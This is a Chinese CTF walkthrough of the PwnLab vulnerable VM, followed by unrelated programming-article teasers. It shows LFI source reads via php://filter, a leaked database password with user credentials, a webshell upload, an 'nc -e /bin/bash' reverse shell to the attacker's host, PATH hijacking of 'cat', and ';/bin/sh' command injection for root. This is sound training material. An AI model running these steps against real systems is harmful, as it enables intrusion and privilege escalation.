当前位置：首页 > news >正文

pwnlab通关流程

news 2026/1/30 23:44:22

pwnlab通关

关于文件包含，环境变量劫持的一个靶场

信息收集

靶机ip：192.168.112.133

开放端口
在这里插入图片描述

根据开放的端口信息决定从80web端口入手

目录信息

在这里插入图片描述

在images和upload路径存在目录遍历，config.php被渲染无法查看，upload.php需要先登录才能访问，尝试先从登录login.php界面入手

渗透阶段

访问

http://192.168.112.133

在这里插入图片描述

点击login，路径变为

http://192.168.112.133/?page=login

在这里插入图片描述

再访问下login.php

http://192.168.112.133/login.php

在这里插入图片描述

很明显的文件包含，利用php文件流进行读取,再进行base64解码

index.php

http://192.168.112.133/?page=convert.base64-encode/resource=index

在这里插入图片描述

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?phpif (isset($_GET['page'])){include($_GET['page'].".php");}else{echo "Use this server to upload and share image files inside the intranet";}
?>
</center>
</body>
</html>

config.php

http://192.168.112.133/?page=convert.base64-encode/resource=config

在这里插入图片描述

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

upload.php

http://192.168.112.133/?page=convert.base64-encode/resource=upload

在这里插入图片描述

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html><body><form action='' method='post' enctype='multipart/form-data'><input type='file' name='file' id='file' /><input type='submit' name='submit' value='Upload'/></form></body>
</html>
<?php 
if(isset($_POST['submit'])) {if ($_FILES['file']['error'] <= 0) {$filename  = $_FILES['file']['name'];$filetype  = $_FILES['file']['type'];$uploaddir = 'upload/';$file_ext  = strrchr($filename, '.');$imageinfo = getimagesize($_FILES['file']['tmp_name']);$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {die('Not allowed extension, please upload images only.');}if(strpos($filetype,'image') === false) {die('Error 001');}if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {die('Error 002');}if(substr_count($filetype, '/')>1){die('Error 003');}$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {echo "<img src=\"".$uploadfile."\"><br />";} else {die('Error 4');}}
}?>

在config.php中直接拿到了mysql的用户名密码，直接连接

在user表中拿到了3个用户及密码，密码经过base64加密

在这里插入图片描述

解密后

kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo

有了账号密码后直接在登录页面进行登录，登录后会显示文件上传界面

在这里插入图片描述

发包拦截，对upload.php进行代码审计发现经过了后缀白名单，mime类型等一些校验导致无法进行后缀绕过。只能上传图片马，想通过文件包含的方式getshell，但是在之前index.php页面中的include是这样的，如果包含的是xxx.jpg最后会被拼接成xxx.jpg.php文件不存在

if (isset($_GET['page'])){include($_GET['page'].".php");}

但在index.php中发现了另一个文件包含，可以利用Cookie进行getshell

if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}

首先绕过检测上传图片马，得到路径

在这里插入图片描述

蚁剑连接，在header中设置cookie的lang字段

在这里插入图片描述

成功getshell

由于蚁剑是半交互式的，防止后面提权可能会用不了直接shell reverse到本机

这里采用nc工具，本机监听7777端口

nc -lvvp 7777

蚁剑窗口

nc -e /bin/bash 192.168.112.130 7777

反弹成功

在这里插入图片描述

进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在这里插入图片描述

提权阶段

当前用户为www-data，查找当前用户可提权的suid命令

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

没有可以利用的，切换用户kent没找到

su kent

切换mike，不让登录

su mike

在这里插入图片描述

登录kane

su kane

还是查找suid命令，在kane的用户目录下找到了一个可执行文件

在这里插入图片描述

cd到该目录下进行查看，是一个ELF文件

在这里插入图片描述

strings msgmike

在这里插入图片描述

在msgmike中发现了一条cat语句

cat /home/mike/msg.txt

我们利用环境变量进行劫持cat

在/home/kane目录下新建cat，给予执行权限，写入反弹，更改环境变量

touch cat
chmod +x cat
echo "/bin/sh" > cat
export PATH=/home/kane:$PATH

这样执行msgmike执行到cat语句会直接反弹到更高的权限

./msgmike

在这里插入图片描述

继续进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在mike用户下查找可执行的suid命令，在mike用户下发现了一个msg2root的可执行文件

在这里插入图片描述

cd到该目录下

strings msg2root

在这里插入图片描述

在msg2root文件中发现了一条echo命令，%s是我们写入的字符串

/bin/echo %s >> /root/messages.txt

我们直接利用;分割反弹shell

;/bin/sh

首先运行msg2root

./msg2root

在这里插入图片描述

成功提权到root

cd到root目录下查看flag

在这里插入图片描述

pwnlab通关流程

pwnlab通关关于文件包含，环境变量劫持的一个靶场信息收集靶机ip：192.168.112.133 开放端口根据开放的端口信息决定从80web端口入手目录信息在images和upload路径存在目录遍历，config.php被渲染无法查看，upload.php需…...

编程日记 2023/3/2 1:59:50

面向过程与面向对象的区别与联系

目录什么是面向过程什么是面向对象区别各自的优缺点什么是面向过程面向过程是一种以事件为中心的编程思想，编程的时候把解决问题的步骤分析出来，然后用函数把这些步骤实现，在一步一步的具体步骤中再按顺序调用函数。什么是面向对…...

编程日记 2023/3/2 1:58:42

主机状态（查看资源占用情况、查看网络占用情况）

1. 查看资源占用情况【1】可以通过top命令查看cpu、内存的使用情况，类似windows的任务管理器默认5s刷新一次语法：top 可 Ctrl c 退出 2.磁盘信息监控【1】使用df命令，查看磁盘信息占用情况语法：df [ -h ] 以更加人性化…...

编程日记 2023/3/2 1:57:34

代码随想录算法训练营第四十一天 | 01背包问题-二维数组滚动数组，416. 分割等和子集

一、参考资料01背包问题二维 https://programmercarl.com/%E8%83%8C%E5%8C%85%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%8001%E8%83%8C%E5%8C%85-1.html 视频讲解：https://www.bilibili.com/video/BV1cg411g7Y6 01背包问题一维 https://programmercarl.com/%E8%83%8C%E5…...

编程日记 2023/3/2 1:56:28

VMware NSX 4.1 发布 - 网络安全虚拟化平台

请访问原文链接：VMware NSX 4 - 网络安全虚拟化平台，查看最新版。原创作品，转载请保留出处。作者主页：www.sysin.org VMware NSX 提供了一个敏捷式软件定义基础架构，用来构建云原生应用程序环境。NSX 专注于为具有异…...

编程日记 2023/3/2 1:55:20

计算理论复杂度预备知识

文章目录计算理论复杂度预备知识符号递归表达式求解通项公式主方法Akra-Bazzi 定理计算理论复杂度预备知识符号 f(n)o(g(n))f(n)o(g(n))f(n)o(g(n)) ：∃c\exists c∃c ，当 nnn 足够大时， f(n)<cg(n)f(n)\lt cg(n)f(n)<cg(n) &#…...

编程日记 2023/3/2 1:54:11

二叉树——二叉搜索树中的插入操作

二叉搜索树中的插入操作链接给定二叉搜索树（BST）的根节点 root 和要插入树中的值 value ，将值插入二叉搜索树。返回插入后二叉搜索树的根节点。输入数据保证 ，新值和原始二叉搜索树中的任意节点值都不同。注意&#xff0c…...

编程日记 2023/3/2 1:53:06

C# if break,if continue,if return的区别和使用

故事部分： 现在你肚子饿了，想要去： 1.吃个三菜一汤。 2.吃个蛋糕。 3.喝个奶茶。结果，你吃饭的时候，吃到一个虫子。你会有几种做法？ 1.把有虫子这道菜拿走，继续吃下一道菜。 2.算了&#xff…...

编程日记 2023/3/2 1:52:01

力扣-第二高的薪水

大家好，我是空空star，本篇带大家了解一道中等的力扣sql练习题。文章目录前言一、题目：176. 第二高的薪水二、解题1.正确示范①提交SQL运行结果2.正确示范②提交SQL运行结果3.正确示范③提交SQL运行结果4.正确示范④提交SQL运行结果5.其他总结…...

编程日记 2023/3/2 1:50:55

I - 太阳轰炸(组合数学Cnk n固定)

2023河南省赛组队训练赛（二） - Virtual Judge (vjudge.net) 背景：阿塔尼斯，达拉姆的大主教，在艾尔又一次沦陷之后指挥着星灵的最后一艘方舟舰：亚顿之矛。作为艾尔星灵数千年来的智慧结晶，亚顿之…...

编程日记 2023/3/2 1:49:51

centos安装gitlab

更新系统 sudo yum -y update安装所需要的包 sudo yum -y install epel-release curl vim policycoreutils-python如果要安装并使用本地Postfix服务器发送通知，请安装Postfix，这里就不安装了： sudo yum -y install postfix安装后启动并启用…...

编程日记 2023/3/2 1:48:44

【洛谷 P1093】[NOIP2007 普及组] 奖学金题解（结构体排序）

[NOIP2007 普及组] 奖学金题目描述某小学最近得到了一笔赞助，打算拿出其中一部分为学习成绩优秀的前 555 名学生发奖学金。期末，每个学生都有 333 门课的成绩:语文、数学、英语。先按总分从高到低排序，如果两个同学总分相同，再…...

编程日记 2023/3/2 1:47:37

【Hello Linux】进程优先级和环境变量

作者：小萌新专栏：Linux 作者简介：大二学生希望能和大家一起进步！ 本篇博客简介：简单介绍下进程的优先级环境变量进程优先级环境变量进程的优先级基本概念如何查看优先级PRI与NINI值的设置范围NI值如何修改修改方式…...

编程日记 2023/3/2 1:46:33

日期：Date，SimpleDateFormat常见API以及包装类

一.Date类 package com.gch.d1_date;import java.util.Date;/**目标:学会使用Date类处理时间,获取时间的信息*/ public class DateDemo1 {public static void main(String[] args) {// 1.创建一个Date类的对象:代表系统此刻日期时间对象Date d new Date();System.out.println(…...

编程日记 2023/3/2 1:45:29

嵌入式之ubuntu终端操作与shell常用命令详解

目录文件和目录列表基本列表功能显示列表长度过滤输出列表浏览文件系统 Linux 文件系统遍历目录处理文件创建文件复制文件制表键自动补全重命名文件删除文件处理目录创建目录删除目录编辑其他常用命令与操作 Uname命令 clear命令返回上一级命令显…...

编程日记 2023/3/2 1:44:20

【Shell学习笔记】6.Shell 流程控制

前言本章介绍Shell的流程控制。 Shell 流程控制和 Java、PHP 等语言不一样，sh 的流程控制不可为空，如(以下为 PHP 流程控制写法)： 实例 <?php if (isset($_GET["q"])) {search(q); } else {// 不做任何事情 }在 sh/bash…...

编程日记 2023/3/2 1:43:14

27k入职阿里测开岗那天，我哭了，这5个月付出的一切总算没有白费~

先说一下自己的个人情况，计算机专业，16年普通二本学校毕业，经历过一些失败的工作经历后，经推荐就进入了华为的测试岗，进去才知道是接了个外包项目，不太稳定的样子，可是刚毕业谁知道什么外包不外…...

编程日记 2023/3/2 1:42:08

服务端开发之Java备战秋招面试篇5

努力了那么多年,回头一望,几乎全是漫长的挫折和煎熬。对于大多数人的一生来说,顺风顺水只是偶尔,挫折、不堪、焦虑和迷茫才是主旋律。我们登上并非我们所选择的舞台,演出并非我们所选择的剧本。继续加油吧！ 目录 1.ArrayList与LinkedList区别， 应用场景…...

编程日记 2023/3/2 1:41:02

有趣的 Kotlin 0x11: joinToString，你真的了解嘛？

前言之前使用 joinToString 函数也就是用逗号连接集合元素形成字符串，也没有细看它的参数，但是今天和 ChatGPT 聊天时，发现它给我输出了诸多内容。 joinToString joinToString()是Kotlin中一个非常有用的函数，它可以将集合的元…...

编程日记 2023/3/2 1:39:56

代码随想录算法训练营day46 | 动态规划之背包问题 139.单词拆分

day46139.单词拆分1.确定dp数组以及下标的含义2.确定递推公式3.dp数组如何初始化4.确定遍历顺序5.举例推导dp[i]139.单词拆分题目链接解题思路：单词就是物品，字符串s就是背包，单词能否组成字符串s，就是问物品能不能把背包装满。…...

编程日记 2023/3/2 1:38:49

Python：操作 Excel 折叠

💖亲爱的技术爱好者们，热烈欢迎来到 Kant2048 的博客！我是 Thomas Kant，很开心能在CSDN上与你们相遇～💖 本博客的精华专栏：【自动化测试】【测试经验】【人工智能】【Python】 Python 操作 Excel 系列读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

编程新知 2026/1/30 20:05:06

IGP（Interior Gateway Protocol，内部网关协议）

IGP（Interior Gateway Protocol，内部网关协议） 是一种用于在一个自治系统（AS）内部传递路由信息的路由协议，主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

编程新知 2025/10/12 11:54:26

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序

一、开发准备环境搭建： 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号项目创建： File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

编程新知 2025/9/5 12:16:40

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景随着HarmonyOS 5.0对Web兼容层的增强，React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。二、核心实现方案 1. 环境配置 （1）使用React Native…...

编程新知 2025/8/19 2:57:37

深入解析C++中的extern关键字：跨文件共享变量与函数的终极指南

🚀 C extern 关键字深度解析：跨文件编程的终极指南 📅 更新时间：2025年6月5日 🏷️ 标签：C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录前言🔥一、extern 是什么？&…...

编程新知 2026/1/15 5:00:25

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI（https://spring.io/projects/spring-ai）作为Spring生态中的AI集成框架，其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似，但特别为多语…...

编程新知 2025/12/14 17:38:21

Angular微前端架构：Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例，其中使用的是 Module Federation 和 npx-build-plus 实现了主应用（Shell）与子应用（Remote）的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

编程新知 2025/12/3 10:52:37

WPF八大法则：告别模态窗口卡顿

⚙️ 核心问题：阻塞式模态窗口的缺陷原始代码中ShowDialog()会阻塞UI线程，导致后续逻辑无法执行： var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题&#xff1a…...

编程新知 2026/1/26 17:26:03

如何在Windows本机安装Python并确保与Python.NET兼容

✅作者简介：2022年博客新星第八。热爱国学的Java后端开发者，修心和技术同步精进。 🍎个人主页：Java Fans的博客 🍊个人信条：不迁怒，不贰过。小知识，大智慧。 💞当前专栏…...

编程新知 2026/1/28 15:46:26

跨平台商品数据接口的标准化与规范化发展路径：淘宝京东拼多多的最新实践

在电商行业蓬勃发展的当下，多平台运营已成为众多商家的必然选择。然而，不同电商平台在商品数据接口方面存在差异，导致商家在跨平台运营时面临诸多挑战，如数据对接困难、运营效率低下、用户体验不一致等。跨平台商品数据接口的标准…...

编程新知 2026/1/26 10:30:17

pwnlab通关

信息收集

渗透阶段

提权阶段

相关文章：